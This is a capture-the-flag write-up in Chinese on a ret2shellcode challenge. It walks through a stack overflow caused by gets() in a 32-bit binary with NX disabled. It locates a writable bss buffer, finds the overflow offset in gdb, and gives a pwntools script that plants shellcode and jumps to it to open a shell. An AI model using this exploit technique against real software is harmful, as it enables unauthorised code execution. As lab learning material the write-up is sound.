跟着天正师傅博客学的: 例题附件下载
checksec,这次是32位的:

[*] '/home/shawroot/Desktop/ret2sc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

main函数内容如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-14h]

  setvbuf(stdout, 0, 2, 0);
  printf("Name:");
  read(0, &name, 0x32u);
  printf("Try your best:");
  return (int)gets(&s);
}

有两处输入的地方,分别用了read()gets()函数去实现。name变量长度足够,不存在栈溢出,gets()函数未限制输入的长度,存在栈溢出。
但是这道题没有back♂door了,不能用之前学的ret2text去利用,必须自己再写一个shellcode进去。
写接下来的内容之前,需要了解bss段:

bss段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,bss段属于静态内存分配。

可以使用readelf命令查看bss段的地址:

readelf  -S filename

2021-07-04_170059.png
能看到bss的地址为0x0804a040
接下来将程序导入gdb并运行,ctrl+c将程序中断,利用vmmap查看地址段权限,必须保证bss段有可执行权限,shellcode才能运行。

$ gdb ret2sc
gdb-peda$ r
# ctrl + c
gdb-peda$ vmmap

2021-07-04_170559.png
bss段地址0x0804a040在范围0x0804a000到0x0804b000之间,它是可读可写的,name变量也在bss段中,地址为0x0804A060可以把shellcode写进name变量里,让gets()函数的那里的返回地址溢出到name变量所在的地方。
找寻溢出偏移。首先打开另一个终端,输入gdb后,使用pattern create 100命令生成一个100长度的字符串。
2021-07-04_172232.png
再使用gdb调试题目,按下r键。因为name处不存在溢出,在“Try your best:”下面把这串字符串粘进去,得到程序被中断的警告,程序的返回地址(0x41412941)被输入的字符串覆盖了。再使用pattern offset 0x41412941命令计算偏移量,得到32。
2021-07-04_172529.png
至此,可以编写exp了:

from pwn import *
  
io = process('./ret2sc')

shellcode = asm(shellcraft.sh())
name_addr = 0x0804A060
payload = 'a'*32+p32(name_addr)
io.sendlineafter('Name:',shellcode) 
io.sendlineafter('best:',payload)
io.interactive()